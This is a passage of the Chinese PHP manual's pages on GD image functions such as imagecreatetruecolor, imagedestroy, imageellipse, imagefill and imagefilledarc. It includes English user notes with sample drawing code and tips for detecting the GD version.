While this information has already been posted by php at REMOVEreallynicejerk dot com @ 16-Sep-2002 12:01, I feel it neccesary to notice 'cause Justin's post is in the top and it can make people go the wrong way: Justin's way of detecting which imagecreate function to use is too complicated, while there's an easy standard way:

<?php
if (function_exists('imagecreatetruecolor') {
 // use imagecreatetruecolor
} else {
 // use imagecreate
}
Justin Greer
19-Nov-2003 06:40
Unfortunately the @imagecreatetruecolor() method doesn't even work because php dies with a fatal error noting that GD 2 is required.  You can't even capture this error with a custom error handler.

I have come up with a function to get the GD version number that seems to work pretty well on every version of PHP and GD I've thrown at it (even CLI versions.)  It's obviously not the most efficient thing in the world, but it does cache the result in a static variable so calling it multiple times doesn't slow down further.

function gd_version() {
   static $gd_version_number = null;
   if ($gd_version_number === null) {
       // Use output buffering to get results from phpinfo()
       // without disturbing the page we're in.  Output
       // buffering is "stackable" so we don't even have to
       // worry about previous or encompassing buffering.
       ob_start();
       phpinfo(8);
       $module_info = ob_get_contents();
       ob_end_clean();
       if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
               $module_info,$matches)) {
           $gd_version_number = $matches[1];
       } else {
           $gd_version_number = 0;
       }
   }
   return $gd_version_number;
}

Then you can simply use it something like this:

if (gd_version() >= 2) {
   $image = ImageCreateTrueColor($width, $height);
} else {
   $image = ImageCreate($width, $height);
}
Hallvord RM Steen <phpnet at hallvord dot com>
27-Oct-2003 09:40
Regarding choosing the TrueColor or the plain version of imagecreate automatically, I've found that the following works for me:

<?php

$newImg=@ImageCreateTrueColor($width, $height)
   or $newImg=ImageCreate($width, $height);

?>
Jami
10-Jul-2003 06:11
It's good to use the imagecopyresampled- function when creating thumbnails with true colors, it might look better than imagecopyresized..
bjorntje at hotmail dot com
08-Jun-2003 01:41
I just fiddled around with Phpix, which had some problems using the GD lib
(washed out colours).
I changed the lines, which did the trick.
Just in case some of you are still having problems and
you can't change the PHP-install
on the hosting side:

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreate($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,
$new_width,$new_height,ImageSX($im),ImageSY($im));

TO

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreateTrueColor($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,$new_width,
$new_height,ImageSX($im),ImageSY($im));
Micke (micke dot prag at newstonight dot net)
09-Mar-2003 08:21
Here is my solution for creating images with the same code for both GD < 2 and GD > 2:

$dst_img = @imageCreateTrueColor($width, $height);
if (!$dst_img) { $dst_img = imageCreate($width, $height); }
Andreas from www.ems-p.de
28-Feb-2003 10:15
The request of gdlib from brad at brwebdesign dot com won't work with PHP < 4.1 (version_compare).

Some phpinfo versions offer the version number without space so you better ask for the dot:

ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo,".");
$phpinfo=substr($phpinfo,0,$end);
$length = strlen($phpinfo)-1;
$phpinfo=substr($phpinfo,$length);
if($phpinfo<2){
   $dst_img=ImageCreate($new_w,$new_h);}
else {
   $dst_img=ImageCreateTrueColor($new_w,$new_h);
}
marc at thewebguys dot com dot au
25-Jan-2003 08:40
I discovered when installing GD 2+ that ImageCreate() doesn't work well with JPEGS, it makes a true colour JPEG into a 16 colour mess when combining ImageCreateFromJPEG(). If you have GD 2+ you must use ImageCreateTrueColor() for things like thumbnails, etc.
billet_jerome at yahoo dot fr
14-Jan-2003 09:26
Because imagecreatetruecolor exist both in gd and gd2,
you can't use function_exists or get_extension_funcs to check for gd2 !
But ... there is a difference in imagettfbbox between gd and gd2:
gd use pixels and gd2 use points.

Then you can check gd2 with this function:

function sysB_chkgd2()
{

$rep=false;
if(isset($GLOBALS["gBGDVersion"]))
   {
   $rep=$GLOBALS["gBGDVersion"];
   }
else
   {
   if(function_exists("gd_info"))
       {
       $gdver=gd_info();
       if(strstr($gdver["GD Version"],"1.")!=false)
         {
         $rep=false;
         }
       else
           {
           $rep=true;
           }
       }
   else
       {
       $size=40;
       $font= your font file path here;
       $b=imagettfbbox ($size,0,$font,"abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ");

       if(($size+1)<abs($b[5]-$b[3]))
           {
           $rep=true;
           }

         }
   $GLOBALS["gBGDVersion"]=$rep;
   }

return $rep;
}
aaron at aaron-wright dot com
26-Sep-2002 05:49
Actually GD <2.0 had imagecreattruecolor, it just didn't work :P

This is a better test:

function chkgd2(){
  $testGD = get_extension_funcs("gd"); // Grab function list
  if (!$testGD){ echo "GD not even installed."; exit; }
  if (in_array ("imagegd2",$testGD)) $gd_version = "<2"; // Check
  if ($gd_version == "<2") return false; else return true;
}

if (chkgd2()) echo "<h1>GD2+ is installed.</h1>"; // Test for GD2
else echo "<h1>GD2+ is not installed.</h1>";
php at REMOVEreallynicejerk dot com
16-Sep-2002 07:01
Why not just use function_exists?

http://www.php.net/function_exists

Just because they have version 2.0 GD doesn't mean that they haven't disabled that function.

Also instead of determining which one you have on your machine and then writing setup specific code, you can write a universal code usable on either setups.

::pseudo code::

if (function_exists(imagecreatetruecolor)){
use imagecreatetruecolor()
}else{
use imagecreate()
}
brad at brwebdesign dot com
26-May-2002 05:26
I came up with this today.  You need GD2.0 or greater to use imagecreatetruecolor so you can parse phpinfo to get the needed information.  this will have to go at the very top of the page with no whitespace above it

<?php
ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo," ");
$phpinfo=substr($phpinfo,0,$end);
$phpinfo=substr($phpinfo,7);
if(version_compare("2.0", "$phpinfo")==1)
echo "you have a version less then 2";
?>

The if statement is for PHP 4.1 or greater, but you can use other methods of comparing the version numbers if the server you are on do not have that version of php
pmas7354 at artax dot karlin dot mff dot cuni dot cz
26-Feb-2002 09:40
Here is answer for first question 'why do I need true color images'.

True color images you need when you want to work with images such as photos (snapshots), video frames and so on.

When you need to combine some these images for user, or to send him only small part of your image, and you try to use 256 colors, image will be ugly (try it if you want). Some colors will change dramatically.

"Antialias" lines which you may see are probably the result of using JPEG compression. JPEG is not looseless compression so "small image details may be changed" in order to reduce image size dramatically. On really true-color images such as your snapshots of landscape and so on and using small compression level you will hardly see differences. But on exact objects, such as lines, circles, which you draw on solid background using single color, you can see that if you save and load this image that some details are changed.
rossa at studioware dot net
24-Jan-2002 11:38
function ConvertGreyscale($image){
# this file outputs a grey version of specified image

  $total = ImageColorsTotal($image);
  for( $i=0; $i<$total; $i++){
     $old = ImageColorsForIndex($image, $i);

     #trying to keep proper saturation when converting
     $commongrey = (int)(($old[red] + $old[green] + $old[blue]) / 3);

     ImageColorSet($image, $i, $commongrey, $commongrey, $commongrey);
  }
}
eric at spiderws dot com
13-Aug-2001 01:45
This little function does it for you:

<?
$image_id = imageCreateFromJPEG($image);
for($a=0;$a<imagecolorstotal ($image_id);$a++)
       {
           $color = ImageColorsForIndex($image_id,$i);
           $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
           $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
           $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
           ImageColorSet($image_id, $a, $R, $G, $B);
       }
imageJPEG($image_id,"$image");
?>

The .299 , .578 , .114 values are estimations, and add a gamma correction to the colors. For more or less luminace in the result, you can change these values.

Goodluck,
Eric Mulders, Netherlands
steve at stevegodwin dot com
01-Jul-2001 08:22
ImageCreateTrueColor is used to create an image resource with an unlimited number of colors, which is useful when manipulating JPEG images, for example.

ImageCreate is used to create an image resource with a 256 color palette, sometimes called indexed color.

In previous versions, ImageCreate worked OK for manipulating JPEG images. But in experimenting with the Win32 version of PHP 4.0.6, which I think relies on the GD 2.0.1 lib beta, you have to use ImageCreateTrueColor to get accurate color results with JPEGs.
add a note add a note

后退 | 起点 | 前进
imagecreatefromxpm | 上一级 | imagedashedline


imagedashedline

(PHP 3, PHP 4, PHP 5)

imagedashedline -- 画一虚线

说明

bool imagedashedline ( resource image, int x1, int y1, int x2, int y2, int color )

反对使用本函数。应该用 imagesetstyle() 和 imageline() 的组合替代之。

add a note add a note User Contributed Notes
ProfessorNeo at gmx dot de
17-Feb-2006 04:07
The bug reported by 'michi at marel dot at' also exists in PHP version 5.1.1. This functions just works with vertical lines!
alien-scripts.de
14-Jul-2005 05:17
I make my own dashedline:

<?
for($l=50;$l<=550;$l+=5)
   {
   if($da == 0) { $da = 1; }
   elseif($da == 1){
   imageline($bild,$l,50,$l+5,50,$green);
   $da = 0; }
   }
?>

$l is the x-value
and we have a dashed line :)
michi at marel dot at
19-Nov-2003 10:49
There's a bug till PHP 4.0.4 in this function. You can only draw vertical dashed lines. To draw other dashed lines you can set <ImageSetStyle> to a special dashed line and draw it by <ImageLine>.

Sample code:
<?php
function MDashedLine($image, $x0, $y0, $x1, $y1, $fg, $bg)
{
       $st = array($fg, $fg, $fg, $fg, $bg, $bg, $bg, $bg);
       ImageSetStyle($image, $st);
       ImageLine($image, $x0, $y0, $x1, $y1, IMG_COLOR_STYLED);
}
?>
add a note add a note

后退 | 起点 | 前进
imagecreatetruecolor | 上一级 | imagedestroy


imagedestroy

(PHP 3, PHP 4, PHP 5)

imagedestroy -- 销毁一图像

说明

bool imagedestroy ( resource image )

imagedestroy() 释放与 image 关联的内存。image 是由图像创建函数返回的图像标识符，例如 imagecreatetruecolor()。

add a note add a note User Contributed Notes
roland at more-pc dot nl
25-Sep-2005 09:31
As Andrew states below, it's IMPERATIVE that you use the imagedestroy() function. But your script may abort before it reaches the call to imagedestroy() (for example the user may click the browsers 'stop' button). In this case the default PHP behaviour is to abort the script, never reaching your call to imagedestroy().
One way of doing it (the one which works very well for me) is with register_shutdown_function():
<?
function shutdown_func() {
   global $img;
   if($img)
       imagedestroy($img);
}
register_shutdown_function("shutdown_func");
$img = imagecreate...(...);
... // manipulate image
// normally I'd need the following line, but now it's handled by shutdown_func()
// imagedestroy($img);
?>
Andrew Hoffmann - ahoffmann at wisc dot edu
23-Jun-2005 10:25
When working with a lot of high-resolution images, it's IMPERATIVE that you use the imagedestroy() function.

In my scenario, I was taking two high resolution desktop wallpapers and shrinking them down into successively smaller ones (preventing the user from having to upload a dozen files).

At first, my script would run, then just stop.  I realized later that I had not destroyed the source image and the newly resized image in memory after I had finished writing the file out to disk.  Thus, I quickly reached the memory limit that my hosting provider placed in their php.ini file.

Reusing an image variable does NOT clear the old data out of memory!  You must use imagedestroy() to clear the data out.  (I don't know if unset() works as well).

Also note that the image data in memory is raw, so don't base how much memory you are using based on the original filesize of the compressed image (such as jpeg or png).
dan at mlodecki dot net
05-Mar-2004 08:42
I have noticed that gd drawing functions can behave oddly if there is a previous image which has not been imagedestroy()'ed.  You should always imagedestroy when you are done with an image object.
add a note add a note

后退 | 起点 | 前进
imagedashedline | 上一级 | imageellipse


imageellipse

(PHP 4 >= 4.0.6, PHP 5)

imageellipse -- 画一个椭圆

说明

bool imageellipse ( resource image, int cx, int cy, int w, int h, int color )

imageellipse() 在 image 所代表的图像中画一个中心为 cx，cy（图像左上角为 0, 0）的椭圆。w 和 h 分别指定了椭圆的宽度和高度，椭圆的颜色由 color 指定。

注: 本函数添加于 PHP 4.0.6 且需要 GD 2.0.2 或更高版本，可以在 http://www.boutell.com/gd/ 获得。

例子 1. imageellipse() 例子

<?php

// 新建一个空白图像
$image = imagecreatetruecolor(400, 300);

// 填充背景色
$bg = imagecolorallocate($image, 0, 0, 0);

// 选择椭圆的颜色
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// 画一个椭圆
imageellipse($image, 200, 150, 300, 200, $col_ellipse);

// 输出图像
header("Content-type: image/png");
imagepng($image);

?>

参见 imagefilledellipse() 和 imagearc()。

add a note add a note User Contributed Notes
simon_nuttall at hotmail dot com
08-Jun-2006 04:36
This is an optimised and bug fixed version of nojer at yahoo dot com's rotatedellipse function. I've changed it so that the arguments are compatible with imageellipse. See notes on imagearc for original version.

<?php

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=false) {
  // modified here from nojer's version
  // Rotates from the three o-clock position clockwise with increasing angle.
  // Arguments are compatible with imageellipse.

  $width=$width/2;
  $height=$height/2;

  // This affects how coarse the ellipse is drawn.
  $step=3;

  $cosangle=cos(deg2rad($rotateangle));
  $sinangle=sin(deg2rad($rotateangle));

  // $px and $py are initialised to values corresponding to $angle=0.
  $px=$width * $cosangle;
  $py=$width * $sinangle;

  for ($angle=$step; $angle<=(180+$step); $angle+=$step) {

   $ox = $width * cos(deg2rad($angle));
   $oy = $height * sin(deg2rad($angle));

   $x = ($ox * $cosangle) - ($oy * $sinangle);
   $y = ($ox * $sinangle) + ($oy * $cosangle);

   if ($filled) {
     triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
     triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
   } else {
     imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
     imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
   }
   $px=$x;
   $py=$y;
  }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

?>
julian
16-Jan-2005 10:23
if you want to display an ellipse in the upper left corner of an image, you can easily calculate the corresponding cx and cy values. this example will draw an ellipse having the same width and height as the image.

<?php

$ellipse_width = 100;
$ellipse_height = 200;

$ellipse_cx = ($ellipse_width / 2);
$ellipse_cy = ($ellipse_height / 2);

$img_x = $ellipse_width;
$img_y = $ellipse_height;

$img = imagecreate($img_x, $img_y);
$bg = imagecolorallocate($img, 255,255,255);

$ellipse_color = imagecolorallocate($img, 0, 0, 0);

imageellipse($img, $ellipse_cx, $ellipse_cy, $ellipse_width, $ellipse_height, $ellipse_color);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);

?>
agentyoungsoo at hanmail dot net
05-Dec-2002 12:56
When you wana use "ImageEllipse" function
in under GD 2.0.2 version, you can use "ImageArc" like bellow

----------------------------------------------------
$file_name = "test.png";

$screen_x = 300;
$screen_y = 200;

$x1 = $screen_x / 2;
$y1 = $screen_y / 2;

$radius = 30;

$image = ImageCreate($screen_x, $screen_y);
$black = ImageColorAllocate($image, 0,0,0);

ImageArc($image, $x1, $y1, $radius , $radius , 0, 360, $black);

ImagePng($image, $file_name);
ImageDestroy($image);
----------------------------------------------------
add a note add a note

后退 | 起点 | 前进
imagedestroy | 上一级 | imagefill


imagefill

(PHP 3, PHP 4, PHP 5)

imagefill -- 区域填充

说明

bool imagefill ( resource image, int x, int y, int color )

imagefill() 在 image 图像的坐标 x，y（图像左上角为 0, 0）处用 color 颜色执行区域填充（即与 x, y 点颜色相同且相邻的点都会被填充）。

add a note add a note User Contributed Notes
jonathan dot aquino at gmail dot com
09-Jun-2006 06:12
Use imageSaveAlpha($image, true); to preserve transparency.
gelak
30-Nov-2005 03:27
//A smiley face ;]

<?php

header('Content-type: image/png');

$smile=imagecreate(400,400);
$kek=imagecolorallocate($smile,0,0,255);
$feher=imagecolorallocate($smile,255,255,255);
$sarga=imagecolorallocate($smile,255,255,0);
$fekete=imagecolorallocate($smile,0,0,0);
imagefill($smile,0,0,$kek);

imagearc($smile,200,200,300,300,0,360,$fekete);
imagearc($smile,200,225,200,150,0,180,$fekete);
imagearc($smile,200,225,200,123,0,180,$fekete);
imagearc($smile,150,150,20,20,0,360,$fekete);
imagearc($smile,250,150,20,20,0,360,$fekete);
imagefill($smile,200,200,$sarga);
imagefill($smile,200,290,$fekete);
imagefill($smile,155,155,$fekete);
imagefill($smile,255,155,$fekete);
imagepng($smile);

?>
pisu at estmail dot hu
30-Nov-2005 05:48
chess board
<?php

$kep = imagecreate(400,400);
$fekete = imagecolorallocate($kep,0,0,0);
$feher = imagecolorallocate($kep,255,255,255);

//imagefill($kep,50,50,$fekete);
imagefill($kep,50,20,$feher);

for ($i=1;$i<8;$i++)  {
  $k = $i*50;
  imageline($kep,0,$k,400,$k,$fekete);
  imageline($kep,$k,0,$k,400,$fekete);
  }

for ($i=0;$i<8;$i++)  {
  for ($j=0;$j<8;$j++)  {
   $x = $i*50 + 2;
       $y = $j*50 + 2;
   if (  ( ($i % 2) + ($j % 2) )  % 2 == 0 )  {
         imagefill($kep,$x,$y,$fekete);
         }

   }
  }

// imagecolortransparent($kek,$piros);

header('content-type : image/png');
imagepng($kep);

?>
colin at galaxyinteractive dot net
29-Jul-2005 11:26
Didn't see this documented, although it's outlined in imagefilledrectangle, it wasn't quite so obvious to me at first

imageSetTile($image,$imageBack);
imagefill($image,0,0,IMG_COLOR_TILED);

Will fill an image with a texture (this is great as I'm building a logo/template creator)
Igor Garcia
29-Jun-2003 06:18
This function, cannot deal with transparencies.
So you need to use imagecolorallocate instead of imagecolorallocatealpha.
Thus, be careful with color variables that allready set with imageallocatecoloralpha because this can slow-down or hang-up your system.
norxh
05-Jun-2003 11:36
For new images, you must allocate a color before this function will work.
08-Feb-2003 09:49
Actually, it can handle pre-transparent images. To remove it you need to do something like:
   imagecolortransparent($img, 0);
to null out the previous transparency colors. ;)
aqmprod at iname dot com
09-Jan-2000 09:08
This function does not seem to work with images already been transparent. If you fill at x=0, y=0, and there are still transparent parts that you did
not reach with your fill, they change to a different color.

The ImageColorSet function seems to be the solution, but i can't work with transparancy.
add a note add a note

后退 | 起点 | 前进
imageellipse | 上一级 | imagefilledarc


imagefilledarc

(PHP 4 >= 4.0.6, PHP 5)

imagefilledarc -- 画一椭圆弧且填充

说明

bool imagefilledarc ( resource image, int cx, int cy, int w, int h, int s, int e, int color, int style )

imagefilledarc() 在 image 所代表的图像中以 cx，cy（图像左上角为 0, 0）画一椭圆弧。如果成功则返回 TRUE，失败则返回 FALSE。w 和 h 分别指定了椭圆的宽和高，s 和 e 参数以角度指定了起始和结束点。style 可以是下列值按位或（OR）后的值：

  1. IMG_ARC_PIE

  2. IMG_ARC_CHORD

  3. IMG_ARC_NOFILL

  4. IMG_ARC_EDGED

IMG_ARC_PIE 和 IMG_ARC_CHORD 是互斥的；IMG_ARC_CHORD 只是用直线连接了起始和结束点，IMG_ARC_PIE 则产生圆形边界（如果两个都用，IMG_ARC_CHORD 生效）。IMG_ARC_NOFILL 指明弧或弦只有轮廓，不填充。IMG_ARC_EDGED 指明用直线将起始和结束点与中心点相连，和 IMG_ARC_NOFILL 一起使用是画饼状图轮廓的好方法（而不用填充）。

例子 1. 创建一 3D 效果的饼状图

<?php
// create image
$image = imagecreatetruecolor(100, 100);

// allocate some solors
$white    = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$darknavy = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$darkred  = imagecolorallocate($image, 0x90, 0x00, 0x00);

// make the 3D effect
for ($i = 60; $i > 50; $i--) {
  imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);
}

imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);

// flush image
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

注: 本函数需要 GD 2.0.1 或更高版本。

add a note add a note User Contributed Notes
imazir at gmail dot com
31-Jan-2006 06:53
The previous example does not work. Try those modifications and you will have the expected results :

<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
   for($i=1;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
Byron at theworks dot net dot nz
11-Oct-2005 02:52
try this,
<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($i=0;$z<=$sz;$z++){
   for($i=0;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=0;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
paulcharltonthomson at hotmail dot com
02-Jul-2005 02:00
Here's a slightly better way to get the colours for the pie chart shaded wall as posted by double-zonk at wp dot pl

<?php

$rgb0 = array (255, 153, 204);
$rgb1 = array (255, 153, 0);
$rgb2 = array (153, 204, 0);
$rgb3 = array (51, 153, 102);
$rgb4 = array (51, 204, 204);
$rgb5 = array (51, 102, 255);
$rgb6 = array (128, 0, 128);
$rgb7 = array (150, 150, 150);

for ($r = 0; $r < 8; ++$r)
   {
       if(${"rgb" . $r}[0] < 50) $shadowr = 0; else $shadowr = ${"rgb" . $r}[0] - 50;
       if(${"rgb" . $r}[1] < 50) $shadowg = 0; else $shadowg = ${"rgb" . $r}[1] - 50;
       if(${"rgb" . $r}[2] < 50) $shadowb = 0; else $shadowb = ${"rgb" . $r}[2] - 50;
       ${"wall" . $r} = array ($shadowr, $shadowg, $shadowb);
   }

for ($s = 0; $s < 8; ++$s)
   {
       $kolor[$s] = imagecolorallocate($image, ${"rgb" . $s}[0], ${"rgb" . $s}[1], ${"rgb" . $s}[2]);
       $cien[$s] = imagecolorallocate($image, ${"wall" . $s}[0], ${"wall" . $s}[1], ${"wall" . $s}[2]);
   }

?>
05-Jun-2005 03:25
For 3D-graphs you will want to have a nice shadow. Here is an easy wat to calculate a good matching shadow to a color.
$color is the color for the pie-piece above, $shadow_color is the shadow under it.

<?php

$mask = 0; //0 for darker, 255 for brighter
$percent = 0.70; //between 0.40 (very different) and 0.99 (almost the same)

$R = rand(0, 124); // } between 0,124 if your background color is white
$G = rand(0, 124); // } between 124,255 if your background color is black
$B = rand(0, 124); // } or play with these values

$RS = round($R * $percent) + round($mask * (1-$percent));
$GS = round($G * $percent) + round($mask * (1-$percent));
$BS = round($B * $percent) + round($mask * (1-$percent));

$color = imagecolorallocate( $im, $R, $G, $B);
$shadow_color = imagecolorallocate( $im, $RS, $GS, $BS);

?>
double-zonk at wp dot pl
09-Apr-2005 03:25
<?
$width = 300;
$height = 200;

$dane[] = 1;
$dane[] = 2;
$dane[] = 3;
$dane[] = 4;
$dane[] = 5;
$dane[] = 6;
$dane[] = 7;
$dane[] = 8;
$dane[] = 9;
$dane[] = 10;
$dane[] = 11;

// Kolory

$image = imageCreate($width, $height);
$background = imageColorAllocate($image, 205, 205, 205);

$kolor[0] = imageColorAllocate($image, 255, 203, 3);
$kolor[1] = imageColorAllocate($image, 220, 101, 29);
$kolor[2] = imageColorAllocate($image, 189, 24, 51);
$kolor[3] = imageColorAllocate($image, 214, 0, 127);
$kolor[4] = imageColorAllocate($image, 98, 1, 96);
$kolor[5] = imageColorAllocate($image, 0, 62, 136);
$kolor[6] = imageColorAllocate($image, 0, 102, 179);
$kolor[7] = imageColorAllocate($image, 0, 145, 195);
$kolor[8] = imageColorAllocate($image, 0, 115, 106);
$kolor[9] = imageColorAllocate($image, 178, 210, 52);
$kolor[10] = imageColorAllocate($image, 137, 91, 74);
$kolor[11] = imageColorAllocate($image, 82, 56, 47);

$cien[0] = imagecolorallocate($image, 205, 153, 0);
$cien[1] = imagecolorallocate($image, 170, 51, 0);
$cien[2] = imagecolorallocate($image, 139, 0, 1);
$cien[3] = imagecolorallocate($image, 164, 0, 77);
$cien[4] = imagecolorallocate($image, 48, 0, 46);
$cien[5] = imagecolorallocate($image, 0, 12, 86);
$cien[6] = imagecolorallocate($image, 0, 52, 129);
$cien[7] = imagecolorallocate($image, 0, 95, 145);
$cien[8] = imagecolorallocate($image, 0, 65, 56);
$cien[9] = imagecolorallocate($image, 128, 160, 2);
$cien[10] = imagecolorallocate($image, 87, 41, 24);
$cien[11] = imagecolorallocate($image, 32, 6, 0);

// Oblicznia

$suma = array_sum($dane);

$stopnie = 0;
for($i = 0; $i < count($dane); $i++){
   $start[$i]= $stopnie;
   $stop[$i] = $stopnie + round(($dane[$i] / $suma) * 360, 0);
   $stopnie = $stop[$i];
}

$x = $width / 2;
$size = $width / 10;
$y = $height / 2 - $size / 2 - 1;

// Wyswietlanie
for($g = $size; $g > 0; $g--){
   for($n = 0; $n < count($dane); $n++){
       imagefilledarc($image, $x, $y+$g, $width, $height - $size, $start[$n], $stop[$n], $cien[$n], IMG_ARC_PIE);
   }
}

for($i = 0; $i < count($dane); $i++){
   imagefilledarc($image, $x, $y, $width, $height - $size, $start[$i], $stop[$i], $kolor[$i], IMG_ARC_PIE);

}

header("Content-type: image/png");
imagePNG($image);
imageDestroy($image);
?>
t_therkelsen at hotmail dot com
08-Mar-2005 05:21
Note that imageFilledArc() and imageArc() both take ints as degree measurements.  This is no problem if you're *only* using imageArc() and/or imageFilledArc().  However, if you're using calculated degrees and plan to superimpose other drawing elements (eg., you want to make vertical lines between the shadow 3D effect) you need to floor() your degrees before converting them to radians, otherwise you'll get precision errors.

A small example illustrating the 'feature'...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = 45.5;
$ed = 130.5;

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
         cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
         cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
         $front);
imageLine($img,
         cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
         cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
         $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>

And this is how it should be...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = floor(45.5);
$ed = floor(130.5);

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
         cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
         cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
         $front);
imageLine($img,
         cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
         cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
         $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
braulio at example dot com
04-Mar-2005 12:54
He aadido un par de cosillas al ejemplo de "hans at lintoo dot dk", sobre todo el grosor (thickness) del efecto 3D...

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
